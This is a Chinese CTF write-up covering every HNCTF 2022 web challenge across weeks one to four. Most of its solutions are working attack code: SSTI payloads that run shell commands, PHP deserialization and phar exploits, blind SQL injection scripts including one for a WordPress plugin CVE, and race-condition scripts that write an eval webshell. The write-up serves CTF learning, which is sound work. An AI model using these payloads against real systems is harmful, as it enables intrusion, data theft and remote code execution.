【Web】HNCTF 2022 题解(全)-编程知识

Week1

Interesting_include

2048

easy_html

What is Web

Interesting_http

easy_upload

Week2

ez_SSTI

easy_include

ez_ssrf

Canyource

easy_unser

easy_sql

ohmywordpress

Week3

ssssti

Fun_php

ez_phar

QAQ_1inclu4e

logjjjjlogjjjj

Week4

pop子和pipi美

fun_sql

unf1ni3hed_web3he1

Week1

Interesting_include

?filter=php://filter/convert.base64-encode/resource=flag.php

base64解码拿到flag

2048

看js文件，搜索关键词alert

复制在控制台输出直接弹窗

easy_html

提示访问./f14g.php

访问

改max-length

然后随便输入一串手机号直接拿到flag

What is Web

一眼顶针，藏flag鉴定为烂

Interesting_http

按要求传参就可

easy_upload

随便上传个马

写入，命令执行拿flag

Week2

ez_SSTI

测出ssti注入点传参是?name=

payload

?name={{config.__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20f*%27).read()")}}

easy_include

直接打日志包含写一句话木马

ez_ssrf

先访问/index.php

直接访问/flag.php

就是ssrf往flag.php发请求

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

base64编码得

R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

最终payload:

?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

Canyource

payload:

?code=eval(end(current(get_defined_vars())));&Z3r4y=system('tac flag.php');

右键查看源码拿到flag

easy_unser

一眼顶针，鉴定为烂

就是一个wakeup的绕过，然后读文件用伪协议

注意高版本php不能直接把private改public

exp:

<?php
class body{private $want="php://filter/convert.base64-encode/resource=f14g.php";private $todonothing="0x401";
}$a=new body();
echo urlencode(preg_replace("/:2:{/",":3:{",serialize($a)));

base64解码拿到flag

easy_sql

简单fuzz一下，ban了这么些，一眼顶针，无列名注入

因为注释被ban了，所以考虑闭合的方式来注入

SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

0'/**/union/**/select/**/1,2,database()/**/where/**/'1
Here is your want!
ctf0'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
Here is your want!
ctf,ctftraining,ctftraining,ctftraining,mysql 0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
Here is your want!
ccctttfff,flag,news,users,gtid_slave_pos 0'/**/union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/||'1
Here is your want!
1,NSSCTF{cc299b0b-fd6d-4e3a-b5e4-040d8c9d7dde}

ohmywordpress

一直点进去就行

右键查看源码，得知WordPress版本为6.0.2

Simple Link Directory < 7.7.2 – Unauthenticated SQL injection | CVE 2022-0760 | Plugin Vulnerabilities

import requests
import timeurl = "http://node5.anna.nssctf.cn:20313/wp-admin/admin-ajax.php"result = ""
for i in range(1, 100):length = len(result)for o in range(32, 128):data = {"action": "qcopd_upvote_action",# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)","post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={o},sleep(3),0))enz)",}time1 = time.time()res = requests.post(url, data=data)time2 = time.time()if time2 - time1 > 3:result += chr(o)print(result)breakif len(result) == length:break

跑出来flag

Week3

ssssti

拿fengjing梭

或者也可以手打

?name={{lipsum[request.values.a][request.values.b][request.values.c](request.values.d).popen(request.values.e).read()}}&a=__globals__&b=__builtins__&c=__import__&d=os&e=cat /flag

Fun_php

一眼顶针，鉴定为烂

payload:

?user=114514a&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6+Flag%21%E2%81%A9%E2%81%A6ctfdata%5B%5D=Probiusa&verify%5B%5D=1&want=fl*

右键查看源码拿到flag

ez_phar

访问/upload.php

exp:

<?php
class Flag{public $code;
}
$o = new Flag();
$o->code = 'eval($_GET["a"]);';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传恶意phar文件

然后再phar伪协议配合file_exists触发phar反序列化

QAQ_1inclu4e

文件包含的参数是QAQ

过滤了php . log flag :，选择打临时session文件包含

https://xz.aliyun.com/t/9545

需要条件竞争的方式

import requests
import io
import threadingurl = "http://node5.anna.nssctf.cn:21880/"
sessid = "Z3"def write(session):filebytes = io.BytesIO(b'aaaa' * 1024 * 50)while True:res = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"},cookies={'PHPSESSID': sessid},files={'file': ('Z3.txt', filebytes)})def read(session):while True:res = session.post(url+"?QAQ=/tmp/sess_"+sessid,data={"1":"file_put_contents('shell.php', '<?php eval($_POST[1]);?>');"},cookies={"PHPSESSID":sessid})if 'Z3.txt' in res.text:print("Success!")print(res.text)breakelse:print("Retry")if __name__ == "__main__":event = threading.Event()with requests.session() as session:for i in range(5):threading.Thread(target=write, args=(session,)).start()for i in range(5):threading.Thread(target=read, args=(session,)).start()event.set()

回显success，成功写马

连蚁剑，flag在/var目录下

logjjjjlogjjjj

擦，一眼顶针，这不是Vulfocus log4j2-rce靶机

log4j打JNDI

可以看看我的这篇文章，第二题就是原题

【Web】log4j打JNDI专题刷题记录-CSDN博客

Week4

pop子和pipi美

评价为烂

?pop_EP=ep683045

exp:

<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {private $No_893;public function __construct(){$this->No_893 = "php://filter/convert.base64-encode/resource=f14g.php";}
}
class Pipimi{public $pipi;public function __construct(){$this->p = new Popuko();}
}
class Goodsisters{public $kiminonawa,$str;public function __construct(){$this->str = new Pipimi();}
}
$a = new Goodsisters();
$a->kiminonawa = new Goodsisters();
$ser = serialize($a);
echo urlencode($ser);

base64解码拿到flag

fun_sql

payload:

?uname=1' union select 1,load_file(concat('/var/www/html/fla','g.php')),3; --+

unf1ni3hed_web3he1

302跳转bp抓包拦截

访问/Rea1web3he11.php

访问/t00llll.php

?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

base64解码后读到Rea1web3he11.php源码

<?php 
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."<br>";class webshell{public $caution;public $execution;function __construct(){$this -> caution = new caution();}function __destruct(){$this -> caution -> world_execute();}function exec(){@eval($execution);}
}
class caution{function world_execute(){echo "Webshell初&#%始*$%&^化,$))(&*(%#^**ERROR**#@$()"."<br>";}
}
class execution{public $cmd;function __construct(){$this -> cmd = 'echo "即将执行命令:".$cmd;';}function world_execute(){eval($this -> cmd);}
}
?>

一眼session反序列化

【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE - 蚁景网安实验室

exp:

<?php
class webshell{public $caution;
}class execution{public $cmd;
}$b = new execution();
$b->cmd = 'system("cat /secret/flag");';$a = new webshell();
$a->caution = $b;echo '|'.serialize($a);

import threading
import requestsurl = 'http://node5.anna.nssctf.cn:27540/Rea1web3he11.php'
flag = 'xxx'cmd = "system('cat /secret/flag');"payload = r'|O:8:"webshell":1:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:' + str(len(cmd)) + ':"' + cmd + '";}}'def upload():files = [('file', ('xx.txt', 'xxx'*10240)),]data = {'PHP_SESSION_UPLOAD_PROGRESS': payload}while True:res = requests.post(url, data=data, files=files, cookies={'PHPSESSID': flag})print('upload',res.text)def write():while True:res = requests.get(url, cookies={'PHPSESSID': flag})print('write',res.text)for i in range(10):t1 = threading.Thread(target=upload)t2 = threading.Thread(target=write)t1.start()t2.start()

跑出flag